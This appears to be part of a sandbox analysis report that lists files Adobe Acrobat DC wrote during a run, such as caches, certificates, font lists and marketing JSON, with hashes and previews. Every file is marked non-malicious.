Preview:	2025/01/10-22:14:34.764 176c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:14:34.781 176c Recovering log #3.2025/01/10-22:14:34.788 176c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447770094251515
Encrypted:	false
SSDEEP:	384:ye6ci5tpiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mKs3OazzU89UTTgUL
MD5:	D5040520CE2CE3A4046217EF58A74CB3
SHA1:	689370BDA3617146CA0C6A689E535648D9763B30
SHA-256:	51E44E2C45B2146B7BC361171A060EA7538D0267502330070A719CAB05F4FB84
SHA-512:	E55F60D1DB0F5A94940C5864000EDFC7755209328A84ECDE118A8E2356193E7F9A2C13BAA19EDCC224449B128B2BD02823A89C7AA6B4DD712FF66346913EB7A7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7691018019977736
Encrypted:	false
SSDEEP:	48:7MRJioyVzioyvoy1C7oy16oy11KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Os:7yJuzRIXjBiEb9IVXEBodRBky
MD5:	909225A0F27B446FF5DBBC5519806154
SHA1:	B3B679825A979E6E8FBAD789C90FB810F216E607
SHA-256:	FD7955158E69941233E9DD85B96F442EA1FCFFC539194E39623F9C5F2A6588FC
SHA-512:	9C2392C4A7FA9DE0A35349EAE49CFF99457298E91BAA7788CDC60811461E5D3D624EFD401BE95BE6F3B0DFBAAE1AD80BCC15C71358DBDB737698B680A6683FBD
Malicious:	false
Preview:	.... .c.....~.Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFklyWWlltfllXlE/HT8khNNX8RolJuRdxLlGB9lQRYwpDdt:kKrD/eT80NMa8RdWBwRd
MD5:	D34F2F7BD27D91EEC9F2874D44C85910
SHA1:	308919BA7FAF01C08FB903A5517F8B9D1E88C6EC
SHA-256:	75971AAC3EC8A9C870C85931B4ECB72B4D0BFD41C01630DB52A4AE1E366DADF0
SHA-512:	B02A4473999974B34623EDB505F47C30F425915D35D5B3DC5D4DE5C844EC111090C42A027C5DF15F36FCD3F4BFA96E267D6ADA627983F9EDC592120B79193559
Malicious:	false
Preview:	p...... ........A ...c..(....................................................... ..........W....e...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKdyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FyiDImsLNkPlE99SNxAhUe/3
MD5:	E72B2751A104F33E77F733E1898272A7
SHA1:	0CA3CA5ADDFCEC254C0924A4E90FCDDAA831A88F
SHA-256:	CE54B51C6EC4AF8CE1E74B31CEF80776FD1D8CBA3AABC72823D6511D3C2B4EF4
SHA-512:	D31726618DE4E4B2644A40E9EFC4AA0E3F23174CC84F0B7F9A47DBB4F0B25B9FFEE50E255EB050621C9495650542389817BF87D76CA911E603BB622F3EECFE9C
Malicious:	false
Preview:	p...... ........W....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.936

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.936

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366710749390172
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJM3g98kUwPeUkwRe9:YvXKXPRVk/DctoGMbLUkee9
MD5:	E89EA18B8BC237F73533862630F89D0A
SHA1:	6E13EE499E9EC7A4A150C564B50E6476D23B75A2
SHA-256:	ADEEC7F41F8E3EC3A9E08A40593A9A21DA392D334DDD09E3FBB1A2262DD7709A
SHA-512:	E0E169C0A42F0FDBD253AA392ADA24D4A70AE56D7B134FA8441BD9EC4941A661F955179B6D982497A36E133D304E82E7645DC20AB812D89B7944F85339D58B5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321041210853254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfBoTfXpnrPeUkwRe9:YvXKXPRVk/DctoGWTfXcUkee9
MD5:	CBC4E7D74FCDB2D4185B9B07161BE3A2
SHA1:	606D66CDC201CE2220DDFCD73B9D3F9B9D5C30D8
SHA-256:	49B8CA910914CBF3402A7555D51D7AB906665763DAECE015F2705E9B51B3451B
SHA-512:	84FEA35E00429033E80BA2D772B6A21F7ABF5A38BD71CCFCA9B07685B4DB48C39526D383B69025C0817650E1CB19E134817F22F8F5E6D7D4E8D1288B09DF84D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299300706211062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfBD2G6UpnrPeUkwRe9:YvXKXPRVk/DctoGR22cUkee9
MD5:	8CB1A8C8EB018485CC6676320CDC0612
SHA1:	0F32C484DE42F4A75222CD46037D31A9B2998323
SHA-256:	78F9EAD09B06E9C9FE1B2CA17AE32691540E6C6D0368EC576CDA59F56948533E
SHA-512:	8D7DBD4C4E798806E237340419FA6DFAF90FF970EF048E3FBDD75EB1F6D815A32ECF3616C4FDE40C476D979DBAA641731DC204B6EA4D9E0C42D11AD00377585A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346850776390002
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfPmwrPeUkwRe9:YvXKXPRVk/DctoGH56Ukee9
MD5:	431877FDAB3D1F5CAA4D1860A7D779D7
SHA1:	B7495304C186CCD3E862EDBCB1A9EC7B7934F7E0
SHA-256:	E4CAA0854477D7EB16F15D5BDBFD9BEF1E4A485913F10CD37AF48741936829B3
SHA-512:	1896A5EED4290A26D6376B07E25A87B5BE7C727D57AE48AD2D1D6861BB2BB74160C493BA5022D173F574B2EC2D98EB6F204BFEB26423B0700971C15675506ACF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693824192235696
Encrypted:	false
SSDEEP:	24:Yv6XPR4otlpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvDahgy6SAFv5Ah8cv/W
MD5:	063C369D1EF054C61FF43A779F6E6B88
SHA1:	A2FAA952397EE7C7817E7B55C5950E0881AF966F
SHA-256:	1853DD7F8C7FC5B1609A59B1FCBF3689B9E4E41B07709EEAB333A52ABC233A7F
SHA-512:	DB4C3AAF49C9C88C54F47D806F8642B85B91E9C8B49CC7D68416529B87923608AF7FDA1ACA1D59D95DA94B733506F139AA14D6D7687BD9A69840D2D6395EBB62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298708735719249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJf8dPeUkwRe9:YvXKXPRVk/DctoGU8Ukee9
MD5:	D9015A7C9FDF50A14EB3F73049675393
SHA1:	57631C01A4C8D25FB6E0733AE23D9E981AE910A4
SHA-256:	B84E88BB9BC4032F96D431AF59143BC34456E84B5D661912AC5FCA990484548B
SHA-512:	13F043BFBD6DDF3DF3D1A4DF4A1CC84EE90A218E43002F0F1D835D3289CB6830E50BFA76EE25228893C7705D3E957094CC52E8911BF12DAC4C39CDF4D273BB9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0111f3c4-6384-4523-8a71-5d567b788ce1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740739279,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.301356056289846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHUpuRVg7m9S+tGnZiQ0Y2noAvJfQ1rPeUkwRe9:YvXKXPRVk/DctoGY16Ukee9
MD5:	989CC15454EC0D8CBBB5B7089703BED8
SHA1:	C322B82A2057AABC77F6B2E3CFB730C730C78B62
SHA-256:	93EAB4DE38C5E1AF57CF0947FBB7E44C0CF39753193BBEBEE30F5F6E9AEF2EFA
SHA-512:	DE15008B5C1EAAB60AE99C653A018B0FC42F05C5BCCA9ED6AAEAF0DAABC5EB495B408CFD2AC9AA4DB66AE0022902B1C92F7652D6F827F55535551131A7A227CF
Malicious:	false
